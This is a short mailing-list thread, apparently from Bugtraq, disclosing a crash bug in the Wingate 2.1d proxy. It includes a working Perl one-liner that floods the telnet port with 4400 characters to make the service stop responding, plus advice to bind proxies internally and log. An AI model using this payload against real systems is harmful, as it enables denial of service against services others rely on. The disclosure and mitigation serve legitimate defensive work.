Hi,
        I have tested the C program received through bugtraq and have tested it
on Wingate 2.1d and i had run the program more than once to crash it.
Wingate stopped responding but the OS was stable.

Hi,

Hello,

The following one-liner will crash an open Wingate.

perl -MIO::Socket -e \
'IO::Socket::INET->new(PeerAddr=>"wingate.to.hoze:23")\
->send("X" x 4400 . "\n",0)'

Unfortunately I don't have access to one that I can test,
so I am unable to verify what versions are vulnerable.
The above is my rendition of a 44 line sh script written
by "rEWTED" (kefka () infected org).

Anyone configuring a proxy for LAN use should only bind to an internal
interface anyway.  (IE, kidz shouldn't even see your proxy)

If you do provide telnet proxy for the world, then at least log.
